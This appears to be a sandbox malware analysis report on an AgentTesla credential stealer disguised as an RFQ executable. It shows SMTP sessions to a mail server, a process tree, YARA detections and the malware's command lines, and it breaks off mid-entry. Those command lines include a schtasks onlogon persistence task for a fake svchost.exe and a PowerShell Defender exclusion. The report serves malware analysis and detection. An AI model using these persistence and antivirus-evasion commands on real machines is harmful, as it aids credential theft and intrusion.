May 8, 2024 09:21:17.621773958 CEST	587	49749	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:17 AM CEST
May 8, 2024 09:21:17.621994972 CEST	49749	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:17.764997005 CEST	587	49748	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:17.765010118 CEST	587	49748	185.230.214.164	192.168.2.4	250-STARTTLS
May 8, 2024 09:21:17.765037060 CEST	587	49748	185.230.214.164	192.168.2.4	250 SIZE 53477376
May 8, 2024 09:21:17.765208006 CEST	49748	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:17.943842888 CEST	587	49749	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:17.943862915 CEST	587	49749	185.230.214.164	192.168.2.4	250-STARTTLS 250 SIZE 53477376
May 8, 2024 09:21:17.944067001 CEST	49749	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:18.084834099 CEST	587	49748	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:18.267272949 CEST	587	49749	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:18.668009043 CEST	587	49752	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:18 AM CEST
May 8, 2024 09:21:18.668190956 CEST	49752	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:18.989480019 CEST	587	49752	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:18.989521027 CEST	587	49752	185.230.214.164	192.168.2.4	250-STARTTLS
May 8, 2024 09:21:18.989532948 CEST	587	49752	185.230.214.164	192.168.2.4	250 SIZE 53477376
May 8, 2024 09:21:18.989733934 CEST	49752	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:19.311316967 CEST	587	49752	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:22.878096104 CEST	587	49758	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:22 AM CEST
May 8, 2024 09:21:22.889703989 CEST	49758	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:23.209759951 CEST	587	49758	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:23.209810019 CEST	587	49758	185.230.214.164	192.168.2.4	250-STARTTLS
May 8, 2024 09:21:23.209825993 CEST	587	49758	185.230.214.164	192.168.2.4	250 SIZE 53477376
May 8, 2024 09:21:23.526405096 CEST	49758	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:23.848323107 CEST	587	49758	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:26.937906981 CEST	587	49762	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:26 AM CEST
May 8, 2024 09:21:26.963848114 CEST	49762	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:27.285952091 CEST	587	49762	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:27.285965919 CEST	587	49762	185.230.214.164	192.168.2.4	250-STARTTLS 250 SIZE 53477376
May 8, 2024 09:21:27.291414022 CEST	49762	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:27.612814903 CEST	587	49762	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:31.749907970 CEST	587	49765	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:31 AM CEST
May 8, 2024 09:21:31.751312971 CEST	49765	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:32.073451996 CEST	587	49765	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:32.073466063 CEST	587	49765	185.230.214.164	192.168.2.4	250-STARTTLS
May 8, 2024 09:21:32.073492050 CEST	587	49765	185.230.214.164	192.168.2.4	250 SIZE 53477376
May 8, 2024 09:21:32.073697090 CEST	49765	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:32.397638083 CEST	587	49765	185.230.214.164	192.168.2.4	220 Ready to start TLS.

Target ID:	0
Start time:	09:20:50
Start date:	08/05/2024
Path:	C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe"
Imagebase:	0x2091d7b0000
File size:	690'092 bytes
MD5 hash:	E184C8B191B12744E919B3B95CE39A0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1664238561.000002091F69C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:20:50
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit
Imagebase:	0x7ff65faa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat""
Imagebase:	0x7ff65faa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"'
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:20:54
Start date:	08/05/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 3
Imagebase:	0x7ff7c3c90000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:20:55
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\svchost.exe
Imagebase:	0x800000
File size:	690'092 bytes
MD5 hash:	E184C8B191B12744E919B3B95CE39A0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.1993738956.000001A48033C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs Detection: 36%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:20:55
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:20:58
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x216f6f20000
File size:	690'092 bytes
MD5 hash:	E184C8B191B12744E919B3B95CE39A0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.1920918632.000002168033C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:20:58
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:21:00
Start date:	08/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:21:01
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:21:01
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x180000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:21:01
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:	0x750000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:21:01
Start date:	08/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:21:02
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:21:02
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7792 -s 1152
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:21:03
Start date:	08/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7328, Parent PID: 7228

General

Target ID:	20
Start time:	09:21:03
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:21:03
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	09:21:03
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0x1f0000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:21:04
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Imagebase:
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	09:21:04
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	09:21:04
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x400000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:21:05
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:	0x5e0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	09:21:05
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x28ef0120000
File size:	690'092 bytes
MD5 hash:	E184C8B191B12744E919B3B95CE39A0E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001B.00000002.1950991965.0000028E8033C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:21:06
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:	0x30000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:21:06
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:21:06
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 508 -p 7872 -ip 7872
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:21:07
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7872 -s 1104
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:21:12
Start date:	08/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5080, Parent PID: 4908

General

Target ID:	35
Start time:	09:21:12
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:21:12
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Imagebase:
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:21:12
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x800000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	09:21:13
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xe20000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:21:13
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 536 -p 7748 -ip 7748
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:21:13
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7748 -s 1144
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:21:15
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\svchost.exe"
Imagebase:	0x24f76110000
File size:	690'092 bytes
MD5 hash:	E184C8B191B12744E919B3B95CE39A0E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:21:15
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:21:20
Start date:	08/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8668, Parent PID: 8660

General

Target ID:	47
Start time:	09:21:20
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	09:21:20
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0x9e0000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
